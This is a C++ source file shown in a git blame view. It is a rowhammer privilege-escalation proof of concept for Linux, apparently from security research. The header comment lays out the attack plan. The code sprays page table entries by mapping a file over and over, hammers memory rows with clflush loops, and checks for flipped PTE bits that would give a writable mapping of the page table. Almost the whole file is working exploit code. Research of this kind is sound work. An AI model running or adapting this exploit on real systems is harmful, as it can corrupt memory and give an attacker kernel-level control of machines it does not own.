blob: c3d94f3d6749e8e9ed84d3befbc710ddc53fcf71 [file] [log] [blame]
Puthikorn Voravootivat84d5afc2020-01-14 14:50:19 -08001/*
2 * An attempt at escalating privileges under Linux systems whose RAM is
3 * vulnerable to row hammering.
4 *
5 * Work by mseaborn@google.com and thomasdullien@google.com
6 *
7 * We can probabilistically flip random bits in physical memory in memory rows
8 * "close" to the rows we are hammering. In order to exploit this, we wish to
9 * have a (physical) memory layout that looks roughly like this:
10 *
11 * [Physical pages used by the kernel as PTEs for a mapping we have access to]
12 * [Physical page that gets hammered]
13 * [Physical pages used by the kernel as PTEs for a mapping we have access to]
14 * [Physical page that gets hammered]
15 * (...)
16 *
17 * We wish to reach a point where a high fraction of physical memory is filled
18 * with this pattern. When we cause a bit-flip in a physical page adjacent to
19 * one we are hammering, we are corrupting a PTE for a page that is mapped into
20 * our virtual address space.
21 *
22 * If we succeed in corrupting one of the bits for indexing into the physical
23 * pages, we have a high probability that we will now have a RW mapping of a
24 * part of our processes page table; this should allow us full privilege
25 * escalation.
26 *
27 * In order to obtain the desired layout in physical memory, we perform the
28 * following actions:
29 *
30 * (1) Reserve a 1GB chunk for hammering, but do not allocate it yet.
31 * (2) mmap() a file repeatedly into our address space to force the OS to create
32 * PTEs. For each 512m we map, we get 1m of PTEs.
33 * (3) Touch the first/next page from the 1GB chunk.
34 * (4) Repeat steps (2) and (3) until physical memory is full.
35 * (5) Start row-hammering the 1GB area for a while.
36 * (6) Iterate over all mappings created in step (2), and check whether they map
37 * to the correct page.
38 * (7) If they do, we have lost. Goto (5).
39 * (8) If they don't, we have won.
40 *
41 *
42 */
43
44#include <assert.h>
45#include <errno.h>
46#include <fcntl.h>
47#include <inttypes.h>
48#include <stdint.h>
49#include <stdio.h>
50#include <stdlib.h>
51#include <string.h>
52#include <sys/mount.h>
53#include <sys/mman.h>
54#include <sys/stat.h>
55#include <sys/sysinfo.h>
56#include <sys/wait.h>
57#include <time.h>
58#include <unistd.h>
59
60// Abort the attack after a given number of attempts at inducing bit flips.
61const uint32_t maximum_tries = 1024;
62
63const size_t hammer_workspace_size = 1ULL << 32;
64const int toggles = 540000;
65
66const uint64_t size_of_pte_sprays = 1ULL << 22;
67const uint64_t size_of_hammer_targets = 1ULL << 20;
68
69const char* mapped_filename = "./mapped_file.bin";
70
71// Reserve, but do not map, a range of addresses of a given size.
72uint8_t* reserve_address_space(uint64_t size) {
73 uint8_t* mapping = (uint8_t*)mmap(NULL, size, PROT_NONE,
74 MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
75 if (mapping == (void*)-1) {
76 printf("[E] Failed to reserve %lx of address space, exiting\n", size);
77 exit(1);
78 }
79 return mapping;
80}
81
82// Spray PTEs into kernel space by repeatedly mapping the same file into a
83// given pre-reserved area of memory.
84//
85// Returns the "end" of the mappings, e.g. the first address past the last file
86// mapping that was created during the PTE spray.
87uint8_t* spray_pte(
88 uint8_t* address, uint64_t size_of_pte_spray, int file_descriptor,
89 uint64_t file_size) {
90
91 uint64_t size_of_sprayed_ptes = 0;
92 while (size_of_sprayed_ptes < size_of_pte_spray) {
93 void* mapping = mmap(address, file_size, PROT_READ | PROT_WRITE,
94 MAP_POPULATE | MAP_SHARED | MAP_FIXED, file_descriptor, 0);
95 size_of_sprayed_ptes += file_size / 512;
96 address += file_size + (file_size % 0x1000); // Round up to next page size.
97
98 if (mapping == (void*)-1) {
99 printf("[E] Failed to spray PTE's (%s).\n", strerror(errno));
100 exit(1);
101 }
102 }
103 return address;
104}
105
106// Create and write the file that will be mapped later.
107void create_and_write_file_to_be_mapped() {
108 FILE* mapfile = fopen(mapped_filename, "wb");
109 char pagedata[0x1000];
110 uint16_t* start_page = (uint16_t*)&pagedata[0];
111 memset(pagedata, 'X', sizeof(pagedata));
112
113 for (uint32_t i = 0; i <= 0xFFFF; ++i) {
114 start_page[0] = (uint16_t)i;
115 fwrite(pagedata, sizeof(pagedata), sizeof(char), mapfile);
116 fflush(mapfile);
117 }
118 fclose(mapfile);
119}
120
121// Obtain the size of the physical memory of the system.
122uint64_t get_physical_memory_size() {
123 struct sysinfo info;
124 sysinfo( &info );
125 return (size_t)info.totalram * (size_t)info.mem_unit;
126}
127
128// Pick a random page in the memory region.
129uint8_t* pick_addr(uint8_t* area_base, uint64_t mem_size) {
130 size_t offset = (rand() << 12) % mem_size;
131 return area_base + offset;
132}
133
134// Helper class to show timing information during the hammering.
135class Timer {
136 struct timespec start_time_;
137
138 public:
139 Timer() {
140 int rc = clock_gettime(CLOCK_MONOTONIC, &start_time_);
141 assert(rc == 0);
142 }
143
144 double get_diff() {
145 struct timespec end_time;
146 int rc = clock_gettime(CLOCK_MONOTONIC, &end_time);
147 assert(rc == 0);
148 return (end_time.tv_sec - start_time_.tv_sec
149 + (double) (end_time.tv_nsec - start_time_.tv_nsec) / 1e9);
150 }
151
152 void print_iters(uint64_t iterations) {
153 double total_time = get_diff();
154 double iter_time = total_time / iterations;
155 printf(" %.3f nanosec per iteration: %g sec for %" PRIu64 " iterations\n",
156 iter_time * 1e9, total_time, iterations);
157 }
158};
159
160static void row_hammer(int iterations, int addr_count, uint8_t* area,
161 uint64_t size) {
162 Timer t;
163 for (int j = 0; j < iterations; j++) {
164 uint32_t num_addrs = addr_count;
165 volatile uint32_t *addrs[num_addrs];
166 for (int a = 0; a < addr_count; a++) {
167 addrs[a] = (uint32_t *) pick_addr(area, size);
168 }
169
170 uint32_t sum = 0;
171 for (int i = 0; i < toggles; i++) {
172 for (int a = 0; a < addr_count; a++)
173 sum += *addrs[a] + 1;
174 for (int a = 0; a < addr_count; a++)
175 asm volatile("clflush (%0)" : : "r" (addrs[a]) : "memory");
176 }
177
178 // Just some code to make sure the above summation is not optimized out.
179 if (sum != 0) {
180 printf("[!] Sum was %lx\n", (uint64_t)sum);
181 }
182 }
183 t.print_iters(iterations * addr_count * toggles);
184}
185
186void dump_page(uint8_t* data) {
187 for (int i = 0; i < 0x1000; ++i) {
188 if (i % 32 == 0) {
189 printf("\n");
190 }
191 printf("%2.2x ", data[i]);
192 }
193 printf("\n");
194}
195
196bool check_hammer_area_integrity(uint8_t *hammer_area, uint64_t max_size) {
197 bool no_corruption = true;
198 for (uint8_t* check = hammer_area;
199 check < hammer_area + max_size; ++check) {
200 if (*check != 0xFF) {
201 dump_page(check);
202 printf("[!] Found bitflip inside hammer workspace at %lx.\n",
203 check-hammer_area);
204 no_corruption = false;
205 }
206 }
207 return no_corruption;
208}
209
210bool check_mapping_integrity(uint8_t* mapping, uint64_t max_size) {
211 bool first_page_ok =
212 (mapping[0] == 0) && (mapping[1] == 0) && (mapping[2] =='X');
213 bool all_pages_ok = true;
214
215 if (!first_page_ok) {
216 return false;
217 }
218
219 // Check for all following pages that the dwords at the beginning of the
220 // pages are in ascending order.
221 for (uint8_t* check_pointer = mapping + 0x1000;
222 check_pointer < mapping+max_size; check_pointer += 0x1000) {
223 uint16_t* previous_page = (uint16_t*)(check_pointer-0x1000);
224 uint16_t* current_page = (uint16_t*)check_pointer;
225 uint16_t previous_page_counter = previous_page[0];
226 uint16_t current_page_counter = current_page[0];
227 //printf("%u == %u ?\n", (uint16_t)(previous_page_counter+1),
228 // (uint16_t)current_page_counter);
229 if ((uint16_t)(previous_page_counter + 1) !=
230 (uint16_t)current_page_counter) {
231 printf("[!] Possible winning ticket found at %lx\n",
232 (uint64_t)check_pointer);
233 printf("[!] Expected page counter %x, got %x.",
234 (uint16_t)(previous_page_counter+1), (uint16_t)current_page_counter);
235 // Dump the hexadecimal contents of the page.
236 dump_page(check_pointer);
237 all_pages_ok = false;
238 }
239 }
240 return all_pages_ok;
241}
242
243uint64_t get_physical_address(uint64_t virtual_address) {
244 int fd = open("/proc/self/pagemap", O_RDONLY);
245 assert(fd >=0);
246
247 off_t pos = lseek(fd, (virtual_address / 0x1000) * 8, SEEK_SET);
248 assert(pos >= 0);
249 uint64_t value;
250 int got = read(fd, &value, 8);
251
252 close(fd);
253 assert(got == 8);
254 return ((value & ((1ULL << 54)-1)) * 0x1000) |
255 (virtual_address & 0xFFF);
256}
257
258void dump_physical_addresses(uint8_t* mapping, uint64_t max_size) {
259 for (uint8_t* begin = mapping; begin < mapping + max_size; begin += 0x1000) {
260 printf("[!] Virtual %lx -> Physical %lx\n", (uint64_t)begin,
261 get_physical_address((uint64_t)begin));
262 }
263}
264
265int main(int argc, char**argv) {
266 // Reserve a massive (16 TB) area of address space for us to fill with file
267 // mappings of a file - the goal is to fill physical memory with PTEs.
268 uint8_t* file_map_workspace = reserve_address_space(1ULL << 44);
269
270 // Allocate, but do not yet populate a 1GB area of memory that we are going to
271 // hammer.
272 uint8_t* hammer_workspace = (uint8_t*) mmap(NULL, hammer_workspace_size,
273 PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
274
275 printf("[!] Creating file to be mapped.\n");
276 create_and_write_file_to_be_mapped();
277
278 // Obtain the physical memory size of the current system.
279 uint64_t physical_memory_size = get_physical_memory_size();
280 printf("[!] System has %ld bytes of physical memory\n", physical_memory_size);
281
282 // Open the file that we will repeatedly map to spray PTEs.
283 int mapped_file_descriptor = open(mapped_filename, O_RDWR);
284 struct stat st;
285 if (stat(mapped_filename, &st) != 0) {
286 printf("[E] Failed to stat %s, exiting.\n", mapped_filename);
287 exit(1);
288 }
289 uint64_t file_size = st.st_size;
290
291 // A rough estimate on how much physical memory has been sprayed.
292 uint64_t physical_memory_consumed = 0;
293 uint8_t* current_pointer_into_file_map_workspace = file_map_workspace;
294 uint8_t* current_pointer_into_hammer_workspace = hammer_workspace;
295 // Aim to spray into 90% of physical memory.
296 while (physical_memory_consumed <= (0.1 * (double)physical_memory_size)) {
297
298 // Spray a bunch of PTEs.
299 current_pointer_into_file_map_workspace =
300 spray_pte(current_pointer_into_file_map_workspace, size_of_pte_sprays,
301 mapped_file_descriptor, file_size);
302 // Was the PTE spraying successful?
303 if (current_pointer_into_file_map_workspace == (uint8_t*)-1) {
304 printf("[!] Failed to spray PTEs after having consumed %lx bytes.",
305 physical_memory_consumed);
306 exit(1);
307 }
308 physical_memory_consumed += size_of_pte_sprays;
309
310 // Now touch a bunch of pages in the hammer workspace to have physical pages
311 // allocated for them.
312 for (uint64_t size_counter = 0; size_counter < size_of_hammer_targets;
313 size_counter += 0x1000) {
314 if ((current_pointer_into_hammer_workspace + size_counter) <
315 hammer_workspace + hammer_workspace_size) {
316 memset(current_pointer_into_hammer_workspace + size_counter, 0xFF,
317 0x1000);
318 }
319 }
320 current_pointer_into_hammer_workspace += size_of_hammer_targets;
321 physical_memory_consumed += size_of_hammer_targets;
322 printf("[!] Should have consumed ~%ld bytes of physical memory\n",
323 physical_memory_consumed);
324 }
325
326 // All memory should be properly set up to be hammered. Check the integrity
327 // pre-hammering.
328 printf("[!] Finished creating physical memory layout.\n");
329
330 uint64_t hammer_area_size = current_pointer_into_hammer_workspace -
331 hammer_workspace;
332 uint64_t mapping_area_size = current_pointer_into_file_map_workspace -
333 file_map_workspace;
334
335 // Dump virtual addresses to the console so we can inspect where they end up
336 // in physical memory.
337 printf("[!] Hammer workspace is at %lx and of %" PRId64 ".\n",
338 (uint64_t)hammer_workspace, hammer_area_size);
339 printf("[!] File mappings are at %lx and of %" PRId64 " size.\n",
340 (uint64_t)file_map_workspace, mapping_area_size);
341
342 // Dump virtual-to-physical mapping for the hammer area and the file mapping.
343 printf("[!] Dumping physical addresses for hammer workspace.\n");
344 dump_physical_addresses(hammer_workspace, hammer_area_size);
345 printf("[!] Dumping physical addresses for file mapping.\n");
346 dump_physical_addresses(file_map_workspace, file_size);
347
348 printf("[!] Checking integrity of mapping prior to hammering ... ");
349 if (check_mapping_integrity(file_map_workspace, mapping_area_size)) {
350 printf("PASS\n");
351 } else {
352 printf("FAIL\n");
353 }
354
355 printf("[!] Checking integrity of mapping workspace prior to hammering ... ");
356 fflush(stdout);
357 if (check_hammer_area_integrity(hammer_workspace, hammer_area_size)) {
358 printf("PASS\n");
359 } else {
360 printf("FAIL\n");
361 }
362
363 // Begin the actual hammering.
364 for (int tries = 0; tries < maximum_tries; ++tries) {
365 // Hammer memory.
366 printf("[!] About to hammer for a few minutes.\n");
367 row_hammer(3000, 4, hammer_workspace, current_pointer_into_hammer_workspace -
368 hammer_workspace);
369
370 // Attempt to verify the integrity of the mapping.
371 printf("[!] Done hammering. Now checking mapping integrity.\n");
372 if (!check_mapping_integrity(file_map_workspace,
373 current_pointer_into_file_map_workspace-file_map_workspace)) {
374 fgetc(stdin);
375 } else {
376 printf("[!] No PTE entries modified\n");
377 }
378
379 printf("[!] Checking integrity of mapping workspace post-hammering ... ");
380 fflush(stdout);
381 if (check_hammer_area_integrity(hammer_workspace,
382 current_pointer_into_hammer_workspace - hammer_workspace)) {
383 printf("PASS\n");
384 } else {
385 printf("FAIL\n");
386 }
387
388 }
389}
390